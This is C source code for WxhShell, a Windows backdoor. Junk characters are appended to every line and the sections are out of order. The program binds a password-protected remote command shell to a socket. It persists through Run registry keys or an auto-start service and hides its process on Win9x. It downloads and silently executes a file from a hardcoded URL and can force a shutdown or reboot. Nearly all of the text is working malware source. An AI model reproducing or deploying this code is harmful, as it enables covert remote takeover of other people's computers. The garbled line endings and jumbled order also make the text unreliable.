    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R7$:@<:g  
    if(Boot(SHUTDOWN)) Q[vJqkgT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xjo5v*Pu  
    else { /'].lp  
    closesocket(wsh); ^)(bM$(`  
    ExitThread(0); ~P8tUhffK  
    } T>}5:,N~  
    break; L+Xc-uv["p  
    } *1p|5!4c  
  // 获取shell @kpv{`Y  
  case 's': { 2XFU1 AW  
    CmdShell(wsh); <j*;.yyC  
    closesocket(wsh); iOR_[y,  
    ExitThread(0); F(k.,0Nc  
    break; +BVym~*^  
  } zLD0RBj7p  
  // 退出 T (OW  
  case 'x': { v, n$^R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /<@SFF.  
    CloseIt(wsh); *c~T@m~DR  
    break; !46RGU:I  
    } k9  "[H'  
  // 离开 WN{ 9  
  case 'q': { cik!GA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "!Uqcay-  
    closesocket(wsh); x(hE3S#+  
    WSACleanup(); YQ+tDZY8`  
    exit(1); #E? (vA1  
    break; Mr;E<Lj ^K  
        } VL% UR{  
  } ~$iIVJ`  
  } Z*y`R XE  
!V"<U2  
  // 提示信息 !>{G,\^=pT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TH; R  
} & -{DfNKc  
  } {5%5}[/x  
%\D)u8}  
  return;  ud xZ0  
} ?no fUD.  
? WF/|/  
// shell模块句柄 LJk@Vy <?  
int CmdShell(SOCKET sock) S4^vpY DeN  
{ mL{B!Q  
STARTUPINFO si; <(-= 'QA  
ZeroMemory(&si,sizeof(si)); $FlW1E j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0vEoGgY0*:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vy0X_DPCr  
PROCESS_INFORMATION ProcessInfo; l)Pu2!Ic  
char cmdline[]="cmd"; 1<BX]-/tP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &<wuJ%'>)Z  
  return 0; QW $G  
} ;3d"wW]}7K  
FME3sa$  
// 自身启动模式 >TOu|r  
int StartFromService(void) ^* J2'X38I  
{ S0~2{ G"v  
typedef struct =U#dJ^4P  
{ CK,7^U  
  DWORD ExitStatus; #JgH}|&a$  
  DWORD PebBaseAddress; W%T>SpFl  
  DWORD AffinityMask; 73V|6tmgY  
  DWORD BasePriority; tSVc|j  
  ULONG UniqueProcessId; qQA}Z*( m  
  ULONG InheritedFromUniqueProcessId; q*F{/N **  
}   PROCESS_BASIC_INFORMATION; dRj|g  
V.O(S\  
PROCNTQSIP NtQueryInformationProcess; xl6,s>ob  
giZP.C"0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +V m}E0Ov  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o*DN4oa)  
rG4';V^q  
  HANDLE             hProcess; MS\>DW  
  PROCESS_BASIC_INFORMATION pbi; !G SV6  
v%"|WV[N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e?7& M  
  if(NULL == hInst ) return 0; D}dn.$  
iVB86XZ`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wF|fK4F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NWM8[dI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A6:es_  
DE%KW:Hug  
  if (!NtQueryInformationProcess) return 0; ~-EOjX(X'E  
9cf:pXMi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @!`Xl*l  
  if(!hProcess) return 0; &d"G/6  
.WPV dwV4U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =R#Qx,  
M[6:p2u  
  CloseHandle(hProcess); |/09<F:L[  
Qp/QaVQ+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tav*+  
if(hProcess==NULL) return 0; H*[ M\gN$  
X:6c}p%,!  
HMODULE hMod; ``ou/Z  
char procName[255]; JBJhG<J  
unsigned long cbNeeded; W_kHj}dj,p  
kPVO?uO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LL2=&VK  
lrv3fPIW  
  CloseHandle(hProcess); -amBB7g  
Zrvz;p@~  
if(strstr(procName,"services")) return 1; // 以服务启动 a#>Yh;FA  
MC<PM6w  
  return 0; // 注册表启动 _(h&7P9  
} T(t+ iv  
\De{9v  
// 主模块 c- }X_)U }  
int StartWxhshell(LPSTR lpCmdLine) ~xD ={9BL  
{ VO$ iNK  
  SOCKET wsl; 8ELCs<xI  
BOOL val=TRUE; sC='_h  
  int port=0; WN01h=1J_  
  struct sockaddr_in door; %KmiH ;U  
u/M+u;  
  if(wscfg.ws_autoins) Install(); pL{U `5S  
|962G1.  
port=atoi(lpCmdLine); ]`kmjn  
!Cr(P e]  
if(port<=0) port=wscfg.ws_port; $4/yZaVb  
MhR:c7,  
  WSADATA data; ig/%zA*Bo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .Yf:[`Q6g  
VxVE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    #`o2Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #)C[5?{SNq  
  door.sin_family = AF_INET; ||;hci O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <$X3Hye  
  door.sin_port = htons(port); BZR:OtR^  
3wC' r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :.$3vaZ@  
closesocket(wsl); }[ 4r4 1[  
return 1; YhDtUt}?  
} 8=gjY\Dp  
M+w=O!dq  
  if(listen(wsl,2) == INVALID_SOCKET) { !"\80LP  
closesocket(wsl); J[4mL U  
return 1; i70w rW#k  
} ]=>F.GE  
  Wxhshell(wsl); &ge "x{,?  
  WSACleanup(); 4scNSeW  
i[?Vin  
return 0; >AcrG]  
Ib+Y~ XYR  
} V+VkY3  
4<k9?)~(J  
// 以NT服务方式启动 Pmh8sw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wS%Q<uK  
{ eA#;AQm  
DWORD   status = 0; T3k#VNH  
  DWORD   specificError = 0xfffffff; vvKEv/pN7  
Y?(r3E^x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zmSUw}-4 N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _Em.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {= F /C,-  
  serviceStatus.dwWin32ExitCode     = 0; QNpqdwu%h  
  serviceStatus.dwServiceSpecificExitCode = 0; bT^I"  
  serviceStatus.dwCheckPoint       = 0; %?p1d!  
  serviceStatus.dwWaitHint       = 0; ~v6OsH%vx  
=Ur}~w&H8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HbXPok  
  if (hServiceStatusHandle==0) return; |Z=^`J  
qI~xlW  
status = GetLastError(); Tl2C^j  
  if (status!=NO_ERROR) @wE5S6! B\  
{ *a#rM"6P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4cl\^yD  
    serviceStatus.dwCheckPoint       = 0; 0@H|n^Md#  
    serviceStatus.dwWaitHint       = 0; &NH$nY.r  
    serviceStatus.dwWin32ExitCode     = status; m]5Cq6  
    serviceStatus.dwServiceSpecificExitCode = specificError; F.w 5S!5Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1T-8K r  
    return; M#As0~y  
  } ] :BX!<  
sB c (gr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q\ U:~g3  
  serviceStatus.dwCheckPoint       = 0; iZaI_\"__  
  serviceStatus.dwWaitHint       = 0; SVO3821  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8]M_z:F7F  
} "a8j"lPJ  
r=X}%~_8X  
// 处理NT服务事件,比如:启动、停止 dIRm q+d^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qj.l:9%  
{ >rJnayLF  
switch(fdwControl) S$Q8>u6Wk  
{ v?& -xH-S  
case SERVICE_CONTROL_STOP: 763v  
  serviceStatus.dwWin32ExitCode = 0; IHJ=i-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oAPb*;}  
  serviceStatus.dwCheckPoint   = 0; H\qC["  
  serviceStatus.dwWaitHint     = 0; YN!>}  
  { FE2f'e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [&&1j@LQ*  
  } m0cP(  
  return; rzh#CnL3  
case SERVICE_CONTROL_PAUSE: pO ml8SQf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]y,==1To  
  break; rld67'KcE  
case SERVICE_CONTROL_CONTINUE: +(C6#R<LI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cb9;QzBVA#  
  break; WC.t_"@  
case SERVICE_CONTROL_INTERROGATE: D (h18  
  break; ,0hA'cp  
}; 0IfKJ*]M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7tcPwCc{  
} ]K/DY Do-  
],RdySN&  
// 标准应用程序主函数 K)\M5id]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) " e}3:U5n  
{ /XhIx\40 l  
WnGGo ' Z  
// 获取操作系统版本 }jVSlCF@t  
OsIsNt=GetOsVer(); /4 vG3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :1iqT)&|8F  
wYQ&C{D%  
  // 从命令行安装 tb$LriN  
  if(strpbrk(lpCmdLine,"iI")) Install(); brdmz}  
0 0 M@  
  // 下载执行文件 `.x Fiyc  
if(wscfg.ws_downexe) { A@sZ14+f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |m80]@>  
  WinExec(wscfg.ws_filenam,SW_HIDE); w0C~*fn3l  
} unBy&?&p  
*7h!w!LN~  
if(!OsIsNt) { Up,vD)tG  
// 如果时win9x,隐藏进程并且设置为注册表启动 D,g1<:<  
HideProc(); nSkPM 5\TI  
StartWxhshell(lpCmdLine); %YSu8G_t  
} C@bm  
else o]p|-<I Q  
  if(StartFromService()) |Tm!VFd  
  // 以服务方式启动 DBT&DS  
  StartServiceCtrlDispatcher(DispatchTable); '*?WU_L(g  
else -*m+(7G\  
  // 普通方式启动 FxVZ[R  
  StartWxhshell(lpCmdLine); kn>$lTHQ  
9\]^|?zQ`  
return 0; yq NzdzX  
} Wh%ucX&  
T+<A`k: -  
`/~8}Y{  
&'DU0c&  
=========================================== ngat0'oa  
/l<<_uk$  
1$81E.  
V 2i@.@$j  
)I$q5%q8  
w );6K[+;  
" * ;Cy=J+  
ltD37QZQ  
#include <stdio.h> \@1=stK:F  
#include <string.h> k:#P|z$UD  
#include <windows.h> ,iv|Pq $!  
#include <winsock2.h> ")!,ZD  
#include <winsvc.h> %o:2^5\W  
#include <urlmon.h> I<8sI%,s  
|7}C QU  
#pragma comment (lib, "Ws2_32.lib") a'jR#MQl?  
#pragma comment (lib, "urlmon.lib") ?zsB6B?;  
9`w)  
#define MAX_USER   100 // 最大客户端连接数 HH@qz2w  
#define BUF_SOCK   200 // sock buffer ^>N]H>0'S  
#define KEY_BUFF   255 // 输入 buffer 'qF#<1&  
L[20m (6?  
#define REBOOT     0   // 重启 NbGV1q']  
#define SHUTDOWN   1   // 关机 w&B#goS  
]<q[Do8k  
#define DEF_PORT   5000 // 监听端口 qg}O/K  
?1 [\!  
#define REG_LEN     16   // 注册表键长度 nE^Qy=iE  
#define SVC_LEN     80   // NT服务名长度 ,ML[Wr'2  
_!?Hu/zo  
// 从dll定义API GR"Eas.$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sf,R^9#|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Eyh51IB.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q]w&N30  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \0H's{uek  
+ke1Cn'[  
// wxhshell配置信息 *mMEl]+  
struct WSCFG { = pzn u+,  
  int ws_port;         // 监听端口 pKjoi{ Z  
  char ws_passstr[REG_LEN]; // 口令 x"CZ]p&m  
  int ws_autoins;       // 安装标记, 1=yes 0=no o)[2@fRC(  
  char ws_regname[REG_LEN]; // 注册表键名 }oKG}wgY  
  char ws_svcname[REG_LEN]; // 服务名 3t0[^cY8=z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 en:4H   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zBP>jM(8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "luR9l,RRE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q lHd,w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6"D/xV3Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zb134b'  
^+1#[E  
}; Q26qNn bK  
LT,?$I  
// default Wxhshell configuration F1Hh7 F  
struct WSCFG wscfg={DEF_PORT, 'D%w|Pe?Q  
    "xuhuanlingzhe", =07]z@s  
    1, 4L73]3&  
    "Wxhshell", bug Ot7  
    "Wxhshell", -Z?Vd!H:  
            "WxhShell Service", bQZ*r{g  
    "Wrsky Windows CmdShell Service", QZ?=M@|f  
    "Please Input Your Password: ", W.1As{  
  1, 4#'(" #R  
  "http://www.wrsky.com/wxhshell.exe", *k1<: @%e  
  "Wxhshell.exe" [F[K^xYTlg  
    }; *\o/q[  
1<h>B:  
// 消息定义模块 Vm|Y$ C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {" 4e+y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ad_`x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2]c {P\  
char *msg_ws_ext="\n\rExit."; j}AFE  
char *msg_ws_end="\n\rQuit."; W},b{NT  
char *msg_ws_boot="\n\rReboot..."; ej O}t:}P  
char *msg_ws_poff="\n\rShutdown..."; zP;cTF(C  
char *msg_ws_down="\n\rSave to "; R i 'L  
$DP&a1'g  
char *msg_ws_err="\n\rErr!"; Na\WZSu'"  
char *msg_ws_ok="\n\rOK!"; q,3;m[cA  
xwH?0/  
char ExeFile[MAX_PATH]; $7'g Rb4  
int nUser = 0; {q3H5csFq  
HANDLE handles[MAX_USER]; wM _ 6{  
int OsIsNt; gXH[$guf  
kGUJ9Du  
SERVICE_STATUS       serviceStatus; ~Gqno  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5c;h &  
Zv_jy@k  
// 函数声明 o1/lZm{\~n  
int Install(void); uyF|O/FC  
int Uninstall(void); ^o !O)D-q  
int DownloadFile(char *sURL, SOCKET wsh); QQpP#F|w  
int Boot(int flag); HSIvWhg?p  
void HideProc(void); ]O:N-Y  
int GetOsVer(void); IjfxR mV  
int Wxhshell(SOCKET wsl); $j 5,%\4<  
void TalkWithClient(void *cs); j2P n<0U  
int CmdShell(SOCKET sock); Z.wA@ ~e  
int StartFromService(void); %G@5!|J  
int StartWxhshell(LPSTR lpCmdLine); b`_w])Y@  
6UE(f@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CZEW-PIhj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CVi`bO4\  
Ce'pis   
// 数据结构和表定义 3},Zlu  
SERVICE_TABLE_ENTRY DispatchTable[] = sK 2 e&  
{ yxBUj*3  
{wscfg.ws_svcname, NTServiceMain}, #2:a[ ~Lf  
{NULL, NULL} jb /8?7  
}; 4{qB X?  
F#{gfh  
// 自我安装 i%#$*  
int Install(void) w&BGJYI  
{ E&B{5/rv  
  char svExeFile[MAX_PATH]; to6;?uC+|i  
  HKEY key; z\/53Sy<  
  strcpy(svExeFile,ExeFile); 6TH!vuQ1(  
d3]hyTqbtm  
// 如果是win9x系统,修改注册表设为自启动 4q$H  
if(!OsIsNt) { C#w]4$/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ofW+_DKB?l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &)pK%SAM  
  RegCloseKey(key); fB+b}aoV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ap}5ElMR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MbXq`%  
  RegCloseKey(key); m/`IGT5J  
  return 0; fRm}S>Nibb  
    } p[WX'M0f  
  } y>\S@I  
} F pt-V  
else { 2>\\@ 1  
4 UAvw  
// 如果是NT以上系统,安装为系统服务 zx1:`K0bi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d/7lefF  
if (schSCManager!=0) \nqo%5XL  
{ &gc `<kLu  
  SC_HANDLE schService = CreateService hFvi 5I-b  
  ( @rb l^  
  schSCManager, <SVmOmJ-K  
  wscfg.ws_svcname, ~@8+hnE]  
  wscfg.ws_svcdisp, =ex'22  
  SERVICE_ALL_ACCESS, 5A&y]5-Q`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e(1k0W4B  
  SERVICE_AUTO_START, &!35/:~uD  
  SERVICE_ERROR_NORMAL, Ih1|LR/c  
  svExeFile, *T4<&  
  NULL, NfE.N&vI_c  
  NULL, y7<&vIEC  
  NULL, Napf"Av  
  NULL, 2@vj!U8  
  NULL W>spz~w%j  
  ); eFTX6XB:i  
  if (schService!=0) 6(sIYZ2yq  
  { v&3O&y/1v  
  CloseServiceHandle(schService); }iIbcA  
  CloseServiceHandle(schSCManager); `eRLc}aP2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g$j6n{Yl  
  strcat(svExeFile,wscfg.ws_svcname); qvt-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /f1'm@8;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *rqm8z50a  
  RegCloseKey(key); R#4 ^s  
  return 0; FoPginZ]J  
    } zL s^,x  
  } j.3o W  
  CloseServiceHandle(schSCManager); ,2WH/"  
} m%QqmTH  
} |ia@,*KD  
r9ke,7?  
return 1; i ilyw_$H  
} ;Mj002.\G  
yZSvn[f  
// 自我卸载 :G'xi2bs  
int Uninstall(void) DM3B]Yl  
{ Uq X1E  
  HKEY key; t ,qul4y}  
ui'F'"tPz  
if(!OsIsNt) { >uHS[ _`nM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F ,G,b  
  RegDeleteValue(key,wscfg.ws_regname); '=} Y2?(  
  RegCloseKey(key); Ohl} X 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /~}_hO$S  
  RegDeleteValue(key,wscfg.ws_regname); ZHy><=2  
  RegCloseKey(key); ?gV'(3 !  
  return 0; /aUFc'5  
  } Z|^MGyn  
} CKTrZxR"  
} qmmv7==  
else { Q?;C4n4]l  
qtSs)n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9y"TDo  
if (schSCManager!=0) p q-!WQ  
{ lSc,AOXp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |l90g|isJ  
  if (schService!=0) /BzA(Ic/  
  { (Cj,\r  
  if(DeleteService(schService)!=0) { 6MrKi|'X@  
  CloseServiceHandle(schService); sT<{SmBF  
  CloseServiceHandle(schSCManager); E_[ONm=,  
  return 0; R @r{  
  } g'G8 3F  
  CloseServiceHandle(schService); MM_py!=>7  
  } h3J*1  
  CloseServiceHandle(schSCManager); |vy]8?Ak  
} !C7<sZ`C  
} -,>:DUN2  
rrQ0qg  
return 1; X^in};&d  
} e?)yb^7K  
 nhfwOS  
// 从指定url下载文件 w67x l  
int DownloadFile(char *sURL, SOCKET wsh) 8Nvr93T,  
{ N^@ \tg=  
  HRESULT hr; II#  
char seps[]= "/"; /8p&Qf>lJ1  
char *token; f-vK}'Z`,  
char *file; 1PU*:58[  
char myURL[MAX_PATH]; C MqM;1  
char myFILE[MAX_PATH]; `2x34  
h Z#\t  
strcpy(myURL,sURL); -]&<Sr-  
  token=strtok(myURL,seps); fjkT5LNx k  
  while(token!=NULL) # J.u  
  { R+^zy"~  
    file=token; @+0V& jc  
  token=strtok(NULL,seps); yGV{^?yoP  
  } X'2Gi  
JfKg_&hM  
GetCurrentDirectory(MAX_PATH,myFILE); jI#z/a!j:  
strcat(myFILE, "\\"); bD@@tGr;W  
strcat(myFILE, file); P7 8uq  
  send(wsh,myFILE,strlen(myFILE),0); "4[<]pq  
send(wsh,"...",3,0); 2$ VTu+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wy)('EM  
  if(hr==S_OK) YnxU(v'\  
return 0; NhtEW0xCr  
else J_/05( 48  
return 1; >'0lw+a  
g!`BXmW  
} Q}z{AZ  
Qrz*Lvle h  
// 系统电源模块 X0x_+b? _  
int Boot(int flag) I:/4t^%  
{ ;5RIwD  
  HANDLE hToken; ;7 "Y?*{  
  TOKEN_PRIVILEGES tkp; oF&IC j0  
Z`"n:'&  
  if(OsIsNt) { %jgg59  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z>HNe9pr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lDU#7\5.  
    tkp.PrivilegeCount = 1; </hR!Sb]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O &\<FT5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qqD0R*(C  
if(flag==REBOOT) { mE_iS?1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4`G=q^GL,  
  return 0; /^ QFqM;  
} iXnx1w   
else { #?5VsD8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /~"AG l.  
  return 0; '7=<#Blc  
} U:Fpj~E_w  
  } c8tP+O9  
  else { p(7c33SyF  
if(flag==REBOOT) { "D!Dr1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lzI/\%  
  return 0; " xxXZGUp  
} 4= $!_,.  
else { tpz=} q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^X(_zinN"  
  return 0; [sptU3,2U  
} :`j"Sj !t3  
} $WM8tF?H  
`bi k/o=%  
return 1; 2q$X>ImI$  
} 1[# =,  
DMRs}Yz6  
// win9x进程隐藏模块 vy:6_  
void HideProc(void) u4xA'X'~R  
{ Z_!9iA:X  
} _VZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `O jvt-5}E  
  if ( hKernel != NULL ) J b|mXNcL  
  { n_ OUWvs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `C ?a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cb<~i  
    FreeLibrary(hKernel); tl2Lq0  
  } 9`E-dr9  
1URT2$2p  
return; ;?#i]Bh>S  
}  aeQ{_SK  
{bxhH)a'  
// 获取操作系统版本 DvU~%%(0^  
int GetOsVer(void) W|)(|W  
{ s>V*=#L  
  OSVERSIONINFO winfo; 2%*|fF}I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dj/Q1KY$m  
  GetVersionEx(&winfo); -1#e^9Ve\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yW'BrTw  
  return 1; %{c2lyw  
  else N_|YOw6  
  return 0; EsS!07fAM:  
} rjt O`Mt`  
PwRNBb}6  
// 客户端句柄模块 M~#5/eRX  
int Wxhshell(SOCKET wsl) x%ZiE5#  
{ `~sf}S :  
  SOCKET wsh; '$lw[1  
  struct sockaddr_in client; d9ZDpzx B  
  DWORD myID; 7=AO^:=bx  
C[^a/P`i  
  while(nUser<MAX_USER) ?T~3B]R  
{ FP0<-9DO  
  int nSize=sizeof(client); Y'\3ux0]4'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vBV"i9n   
  if(wsh==INVALID_SOCKET) return 1; mq>*W' M  
-_:JQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (d1V1t2r6  
if(handles[nUser]==0) T9,lblU Q  
  closesocket(wsh); G`&'Bt{Z*  
else ]ZBgE\[  
  nUser++; `,<>){c|  
  } !<JG&9ODP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^$3w&$K*  
a^(S!I  
  return 0; 8j({=xbg&  
} ?yda.<"g9Y  
Yk x&6M@t  
// 关闭 socket D}3cW2!9  
void CloseIt(SOCKET wsh) wpJ^}+kF  
{ 9LUP{(uq  
closesocket(wsh); qM+!f2t  
nUser--; L+`}euu5  
ExitThread(0); >7eu'  
} 47$-5k30  
">v_uq a  
// 客户端请求句柄 C _ k_D  
void TalkWithClient(void *cs) im_0ur&'  
{ -uS7~Ww.a  
e{d_p%(  
  SOCKET wsh=(SOCKET)cs; 'bd=,QW  
  char pwd[SVC_LEN]; 7~QwlU3n<F  
  char cmd[KEY_BUFF]; zcbA)  
char chr[1]; U* c{:K-C  
int i,j; jFK9?cLT  
uT@8 _9  
  while (nUser < MAX_USER) { xQcMQ{&;  
!dYX2!lvT  
if(wscfg.ws_passstr) { p2M?pV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?3e!A9x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \Mh4X`<e  
  //ZeroMemory(pwd,KEY_BUFF); _,Io(QS  
      i=0; gb^UFD L  
  while(i<SVC_LEN) { 70I4-[/z[d  
A_8`YN"Xk  
  // 设置超时 k N uN4/  
  fd_set FdRead; $/-wgyP3m+  
  struct timeval TimeOut; gDjd{+LUo  
  FD_ZERO(&FdRead); @vDgpb@TM  
  FD_SET(wsh,&FdRead); 1-ndJ@Wlz  
  TimeOut.tv_sec=8; c9/ 'i  
  TimeOut.tv_usec=0; =[43y%   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1yY'hb,0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jtlDSf#  
fNmG`Ke  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a93d'ZE-X  
  pwd=chr[0]; 0VWCm( f-  
  if(chr[0]==0xd || chr[0]==0xa) { P,+ 0   
  pwd=0; 2t~7eI%d  
  break; O=9VX  
  } p>w~T#17  
  i++; \5v=pDd4g  
    } cfQh  
!F}J+N=}  
  // 如果是非法用户,关闭 socket \3@2rW"5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5Rt0h$_J  
} 1f bFNxo8M  
Bwi[qw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (urfaZ;@+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vtc)/OH  
5O4&BxQ~}  
while(1) { q#':aXcv"  
-;DE&~p  
  ZeroMemory(cmd,KEY_BUFF); "|~B};|MFF  
tkUW)ScJ  
      // 自动支持客户端 telnet标准   y}H*p  
  j=0; _mq*j^u,j  
  while(j<KEY_BUFF) { [{fF)D<tC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WhVmycdv  
  cmd[j]=chr[0]; <o"D/<XnB3  
  if(chr[0]==0xa || chr[0]==0xd) { kAKqW7,q"  
  cmd[j]=0; eUUD|U*b   
  break; j)SgB7Q  
  } au9Wo<mR  
  j++; D aqy+:  
    } f T+n-B  
Wy0a2Ve  
  // 下载文件 M cMK|_H  
  if(strstr(cmd,"http://")) { _<' kzOj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vzv.e6_  
  if(DownloadFile(cmd,wsh)) f%"_U'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O7#}8-@}<u  
  else c`N`x U+z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]$`s}BN  
  } Ar{=gENn  
  else { Cg%I)nz  
/Vj byRwV  
